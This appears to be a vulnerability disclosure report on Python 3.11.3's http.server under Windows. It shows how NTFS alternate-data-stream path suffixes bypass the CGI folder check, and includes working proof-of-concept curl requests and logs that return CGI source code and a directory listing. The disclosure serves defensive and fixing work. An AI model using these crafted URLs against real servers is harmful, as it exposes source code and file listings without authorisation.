Open
Description
Python 3.11.3 http.server Alternate Data Stream Information Disclosure
Python http.server supports reading NTFS Alternate Data Streams, which will allow an attacker leaking CGI source code and directory listing on CGI folders.
Tested on
Python 3.11.3 amd64 on Windows 11
Analysis
ADS is a feature present on NTFS file system: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
As seen on MS documentation, the following are equivalent:
Dir C:\Users
Dir C:\Users:$I30:$INDEX_ALLOCATION
Dir C:\Users::$INDEX_ALLOCATION
This allows us to trick the directory validation that is present on http.server
Line 1029 in 4536b2e
Proof-of-Concept
- Install Python 3.11.3 on Windows
- Create a sample CGI script and start the http server on port 8000, execute the following on cmd.exe:
mkdir cgi-bin
cd cgi-bin
echo #!/usr/bin/env python3 > hi.py
echo print("Content-Type: text/html\n") >> hi.py
echo print("<!doctype html><title>Hello</title><h2>hello world</h2>") >> hi.py
cd ..
python -m http.server --cgi 8000
- From another terminal, this shows that the hi.py script is executed as a CGI application:
$ curl -v http://localhost:8000/cgi-bin/hi.py
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 Script output follows
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:34:43 GMT
< Content-Type: text/html
<
<!doctype html><title>Hello</title><h2>hello world</h2>
* Closing connection 0
- The following will show that listing is not allowed on the /cgi-bin/ folder by default:
$ curl -v http://localhost:8000/cgi-bin/
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 403 CGI script is not a plain file ('/cgi-bin/')
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:34:56 GMT
< Connection: close
< Content-Type: text/html;charset=utf-8
< Content-Length: 384
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 403</p>
<p>Message: CGI script is not a plain file ('/cgi-bin/').</p>
<p>Error code explanation: 403 - Request forbidden -- authorization will not help.</p>
</body>
</html>
* Closing connection 0
- When called with the following commands, the source code for hi.py is returned instead of the HTML output:
$ curl -v http://localhost:8000/cgi-bin::$INDEX_ALLOCATION/hi.py
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin::$INDEX_ALLOCATION/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:36:12 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Sat, 20 May 2023 16:56:32 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0
$ curl -v http://localhost:8000/cgi-bin:$I30:$INDEX_ALLOCATION/
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin:$I30:$INDEX_ALLOCATION/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:36:52 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Sat, 20 May 2023 16:56:32 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0
The following command shows that directory listing is also possible:
curl -v http://localhost:8000/cgi-bin:$I30:$INDEX_ALLOCATION/
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin:$I30:$INDEX_ALLOCATION/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:37:25 GMT
< Content-type: text/html; charset=utf-8
< Content-Length: 284
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /cgi-bin:$I30:$INDEX_ALLOCATION/</title>
</head>
<body>
<h1>Directory listing for /cgi-bin:$I30:$INDEX_ALLOCATION/</h1>
<hr>
<ul>
<li><a href="hi.py">hi.py</a></li>
</ul>
<hr>
</body>
</html>
* Closing connection 0